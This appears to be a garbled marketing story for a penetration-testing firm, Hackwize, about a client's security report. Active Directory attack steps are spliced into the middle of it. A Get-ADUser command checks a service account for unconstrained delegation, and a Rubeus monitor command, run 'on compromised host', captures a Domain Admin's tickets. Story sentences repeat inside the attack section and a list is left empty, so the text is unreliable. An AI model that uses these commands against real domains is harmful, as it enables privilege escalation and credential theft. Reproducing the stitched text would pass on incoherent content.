A week later, the report arrived. But it didn’t look like the dense, hundred-page walls of text Sarah was used to seeing.
It was clean. It was categorized by risk level (Critical, High, Medium, Low). But the true magic was in the Remediation Section.
For every vulnerability found—and there was one critical one involving how session tokens were handled—Hackwize didn't just say, "You are vulnerable."
They provided:
Sarah handed the report to her lead developer, Mark. Mark, who usually hated security reports, called Sarah an hour later.
"Who wrote this?" he asked. "They actually understand our tech stack. I’ve already pushed the fix to staging."
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Now you have a service account password. But we want Domain Admin. A week later, the report arrived
Check if the service account has Unconstrained Delegation enabled.
The command:
Get-ADUser -Identity SQL_Svc -Properties msDS-AllowedToDelegateTo, userAccountControl
If TrustedForDelegation is True, we hit the jackpot. Sarah handed the report to her lead developer, Mark
The Attack:
# On compromised host
Rubeus.exe monitor /interval:5 /targetuser:DA_Admin
Most automated scans miss logical flaws and complex multi-vector attacks. Hackwize deploys seasoned ethical hackers who manually probe APIs, cloud infrastructure, and IoT devices. They don’t just look for missing patches; they look for business logic errors—the kind of flaws that allow attackers to bypass authentication by manipulating workflow sequences.